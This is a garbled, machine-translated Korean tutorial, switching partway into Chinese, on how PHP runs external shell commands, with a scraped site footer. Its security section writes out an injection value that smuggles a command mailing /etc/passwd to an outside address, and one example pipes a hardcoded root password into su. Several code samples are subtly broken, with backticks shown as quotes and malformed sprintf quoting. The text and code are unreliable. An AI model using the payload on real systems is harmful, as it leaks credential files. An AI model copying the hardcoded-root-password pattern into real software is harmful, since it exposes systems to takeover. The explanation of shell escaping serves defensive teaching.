PHP가 시스템 외부 명령을 실행하는 방법에 대한 자세한 설명
PHP는 다른 프로그래밍 언어와 마찬가지로 프로그램 내에서 외부 명령을 호출할 수 있으며 매우 간단합니다. 하나 또는 몇 가지 기능만 사용하면 됩니다. 전제조건 웹 프로그램 개발에는 기본적으로 PHP가 사용되기 때문에 보안은 사람들이 중요하게 생각하는 부분이 되었습니다. 그래서 PHP 디자이너는 PHP에 안전 모드라는 문을 추가했습니다. 안전 모드에서 실행하는 경우 PHP 스크립트에는 다음 네 가지 제한 사항이 적용됩니다. 1. 외부 명령 실행 2. 파일을 열 때 몇 가지 제한 사항이 있습니다. 3. mysql 데이터베이스에 연결 4. HTTP 기반 인증안전 모드에서는 특정 디렉터리에 있는 외부 프로그램만 실행할 수 있으며, 다른 프로그램에 대한 호출은 거부됩니다. 이 디렉토리는 safe_mode_exec_dir 지시문을 사용하여 php.ini 파일에서 사용하거나 PHP를 컴파일할 때 추가할 수 있습니다. --with-exec-dir 옵션을 지정하면 기본값은 /usr/local/php/bin입니다. 결과를 인쇄해야 하는 외부 명령을 호출했지만(PHP 스크립트에 오류가 없음을 의미) 공백이 표시되면 PHP가 안전 모드에서 실행 중일 가능성이 높습니다. PHP에서 외부 명령을 호출하려면 다음 세 가지 방법을 사용할 수 있습니다. 1) PHP에서 제공하는 특수 기능을 사용하세요 PHP는 외부 명령을 실행하기 위해 system(), exec(), passthru()라는 총 세 가지 특수 함수를 제공합니다. 1. 프로토타입: 문자열 시스템(문자열 명령 [, int return_var]) system() 함수는 다른 언어의 함수와 유사합니다. 주어진 명령을 실행하고 결과를 출력하고 반환합니다. 두 번째 매개변수는 선택사항이며 명령이 실행된 후 상태 코드를 가져오는 데 사용됩니다. 예: <?php system("/usr/local/bin/webalizer/webalizer"); ?> 로그인 후 복사 2.exec() 프로토타입: string exec (string command [, string array [, int return_var]]) exec() 함수는 system()과 유사합니다. 또한 주어진 명령을 실행하지만 결과를 출력하지 않고 결과의 마지막 줄을 반환합니다. 명령 결과의 마지막 줄만 반환하지만 두 번째 매개변수 배열을 사용하면 완전한 결과를 얻을 수 있습니다. 방법은 결과를 제어하는 것입니다. 결과는 배열 끝에 한 줄씩 추가됩니다. 따라서 배열이 비어 있지 않으면 호출하기 전에 unset()을 사용하여 배열을 지우는 것이 가장 좋습니다. 두 번째 매개변수를 지정한 경우에만 세 번째 매개변수를 사용하여 명령 실행 상태 코드를 얻을 수 있습니다. . 예: <?php exec("/bin/ls -l"); exec("/bin/ls -l", $res); exec("/bin/ls -l", $res, $rc); ?> 로그인 후 복사 3.패스스루() 프로토타입: void passthru (string command [, int return_var]) passthru()는 명령을 호출하기만 하고 결과를 반환하지 않고 명령의 실행 결과를 그대로 표준 출력 장치에 출력합니다. 따라서 passthru() 함수는 pbmplus(Unix의 사진 처리 프로그램)와 같은 프로그램을 호출하는 데 자주 사용됩니다. 도구, 출력 2 (16진수 형식의 원시 이미지 스트림) 또한 명령 실행의 상태 코드를 가져올 수도 있습니다. 예: <?php header("Content-type: image/gif"); passthru("./ppmtogif hunte.ppm"); ?> 로그인 후 복사 2) popen() 함수를 사용하여 프로세스 열기 위 방법은 단순히 명령을 실행할 수만 있고 명령과 상호 작용할 수는 없습니다. 예를 들어 Linux 시스템 사용자를 추가하는 경우 su를 호출하여 현재 사용자를 루트로 변경해야 하며 su 명령은 명령줄에 있어야 합니다. 루트 비밀번호를 입력하세요. 이 경우 위에서 언급한 방법을 사용하는 것은 당연히 불가능합니다. popen() 함수는 주어진 명령을 실행하기 위해 프로세스 파이프를 열고 파일 핸들을 반환합니다. 파일 핸들이 반환되므로 읽고 쓸 수 있습니다. PHP3에서는 이러한 종류의 핸들에 대해 단일 작업만 수행할 수 있습니다. 쓰기 또는 읽기 모드는 PHP4부터 동시에 읽고 쓸 수 있습니다. 핸들이 한 가지 모드(읽기 또는 쓰기)로 열리지 않는 한, 핸들을 닫으려면 pclose() 함수를 호출해야 합니다. 예 1: <?php $fp=popen("/bin/ls -l", "r"); ?> 로그인 후 복사 예 2: <?php $sucommand = "su --login root --command"; $useradd = "useradd "; $rootpasswd = "verygood"; $user = "james"; $user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user); $fp = @popen($user_add,"w"); @fputs($fp,$rootpasswd); @pclose($fp); ?> 로그인 후 복사 3) 백틱(`, 즉 키보드의 ESC 키 아래에 있는 것, ~와 동일)을 사용합니다. 이 방법은 이전에 PHP에 문서화되지 않았으며 비밀 기술로 존재했습니다. 두 개의 역따옴표를 사용하여 실행할 명령을 표현식으로 묶습니다. 이 표현식의 값은 명령 실행의 결과입니다. 예: <?php $res='/bin/ls -l'; echo ' '.$res.' '; ?> 로그인 후 복사 출력 결과: 헌트.gif 헌테.ppm jpg.htm jpg.jpg passthru.php보안과 시간 초과라는 두 가지 문제를 고려해야 합니다. 보안. 예를 들어 작은 온라인 상점이 있어서 판매 가능한 제품 목록이 파일에 저장되어 있습니다. 사용자가 이메일 주소를 입력한 다음 제품 목록을 보낼 수 있는 양식을 사용하여 HTML 파일을 작성합니다. PHP의 mail() 함수를 사용해 본 적이 없거나 들어본 적이 없다고 가정하면, Linux/Unix 시스템의 메일 프로그램을 호출하여 이 파일을 보냅니다. 예: <?php system("mail $to < products.txt"); echo "产品目录已经发送到你的信箱:$to"; ?> 로그인 후 복사 이 코드는 실제로 매우 큰 보안 취약점을 가지고 있습니다. 악의적인 사용자가 이러한 이메일 주소를 입력하는 경우: '--bla ; mail someone@domain.com < /etc/passwd ;' 로그인 후 복사 그러면 이 명령은 결국 다음과 같습니다. 'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt' 로그인 후 복사 무섭습니다. 자신의 컴퓨터에서 시도하지 마세요. 그렇지 않으면 결과가 상상만큼 나쁘지 않을 것입니다. php提供了两个函数:EscapeShellCmd()和EscapeShellArg()。 函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell 中是有特殊含义的,象分号(),重定向(>)和从文件读入 (<)等。 函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串 就可以安全地作为命令的参数。 再说下超时问题。 如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。 默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。 解决方法,把命令的输出重定向到另外一个文件或流中。 例如: <?php system("/usr/local/bin/order_proc > /tmp/null &"); ?> 로그인 후 복사 |

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

AI Hentai Generator
AI Hentai를 무료로 생성하십시오.

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











종종 키워드와 추적 매개 변수로 혼란스러워하는 긴 URL은 방문자를 방해 할 수 있습니다. URL 단축 스크립트는 솔루션을 제공하여 소셜 미디어 및 기타 플랫폼에 이상적인 간결한 링크를 만듭니다. 이 스크립트는 개별 웹 사이트 a에 유용합니다

Instagram은 2012 년 Facebook에서 유명한 인수에 이어 타사 사용을 위해 두 개의 API 세트를 채택했습니다. Instagram Graph API 및 Instagram Basic Display API입니다. 개발자는

Laravel은 직관적 인 플래시 방법을 사용하여 임시 세션 데이터 처리를 단순화합니다. 응용 프로그램에 간단한 메시지, 경고 또는 알림을 표시하는 데 적합합니다. 데이터는 기본적으로 후속 요청에만 지속됩니다. $ 요청-

이것은 Laravel 백엔드가있는 React Application을 구축하는 데있어 시리즈의 두 번째이자 마지막 부분입니다. 이 시리즈의 첫 번째 부분에서는 기본 제품 목록 응용 프로그램을 위해 Laravel을 사용하여 편안한 API를 만들었습니다. 이 튜토리얼에서는 Dev가 될 것입니다

Laravel은 간결한 HTTP 응답 시뮬레이션 구문을 제공하여 HTTP 상호 작용 테스트를 단순화합니다. 이 접근법은 테스트 시뮬레이션을보다 직관적으로 만들면서 코드 중복성을 크게 줄입니다. 기본 구현은 다양한 응답 유형 단축키를 제공합니다. Illuminate \ support \ Facades \ http를 사용하십시오. http :: 가짜 ([ 'google.com'=> 'Hello World', 'github.com'=> [ 'foo'=> 'bar'], 'forge.laravel.com'=>

PHP 클라이언트 URL (CURL) 확장자는 개발자를위한 강력한 도구이며 원격 서버 및 REST API와의 원활한 상호 작용을 가능하게합니다. PHP CURL은 존경받는 다중 프로모토콜 파일 전송 라이브러리 인 Libcurl을 활용하여 효율적인 execu를 용이하게합니다.

고객의 가장 긴급한 문제에 실시간 인스턴트 솔루션을 제공하고 싶습니까? 라이브 채팅을 통해 고객과 실시간 대화를 나누고 문제를 즉시 해결할 수 있습니다. 그것은 당신이 당신의 관습에 더 빠른 서비스를 제공 할 수 있도록합니다.

2025 PHP Landscape Survey는 현재 PHP 개발 동향을 조사합니다. 개발자와 비즈니스에 대한 통찰력을 제공하는 프레임 워크 사용, 배포 방법 및 과제를 탐색합니다. 이 조사는 현대 PHP Versio의 성장을 예상합니다
